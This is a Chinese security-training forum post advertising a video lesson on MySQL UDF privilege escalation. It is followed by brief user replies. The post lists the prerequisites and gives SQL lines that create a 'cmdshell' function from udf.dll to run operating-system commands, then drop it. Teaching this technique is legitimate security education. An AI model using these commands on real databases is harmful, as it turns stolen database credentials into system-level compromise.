HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    视频教程

2017年中旬WEB渗透系列课程-26Mysql下UDF提权  

  admin ·2018-1-30 01:25:08·17534 次点击 ·阅读模式     

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
截图:
261.png

26.PNG
2.png

播放地址
游客,如果您要查看本帖隐藏内容请回复

文字说明:

二十六:mysql下udf提权

我们一直致力于信息安全培训服务!

HTTP://WWW.HACK80.COM

前提条件

Mysql的root权限帐号密码

Mysql版本

Mysql安装路径

select @@plugin_dir 查询plugin路径

Udf成功导出后

创建cmdshell临时表:
  1. create function cmdshell returns string soname ‘udf.dll’
复制代码


执行命令:
  1. select cmdshell(‘内容’);
复制代码


删除临时表:
drop function cmdshell;





17534 次点击 · 1 人收藏  
收藏  转播  分享
70 回复
  Reply  
houwei05  2018-1-30 04:28:44     1 
来学习新姿势
  Reply  
在右  2018-1-30 05:28:17 
我又来水了。{:4_120:}
  Reply  
你才是大湿胸  2018-1-30 08:34:19 
I feel good.
  Reply  
syser  2018-1-30 11:47:16 
来学习一下!!!
  Reply  
234  2018-1-30 21:12:05 
来学习新姿势
  Reply  
套套不绝  2018-1-30 21:30:59 
支持支持,话说这期应该快结束了吧!
  Reply  
hl841948767  2018-1-31 02:56:54 
看一下看一下看心意啊
  Reply  
Mood  2018-1-31 03:53:33 
感谢分享,学习学习
  Reply  
早安午安晚安  2018-2-2 09:04:34 
学习学习{:4_122:}
添加一条新回复
您需要登录后才可以回帖 登录 | 立即注册

本节点积分规则
QQ
小黑屋   ·   手机版   ·   213 人在线 最高记录 5500   ·   TOP
我们很年轻,但我们有信念、有梦想!

  我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
GMT+8, 2018-5-20 21:37, Processed in 0.049657 second(s), 23 queries .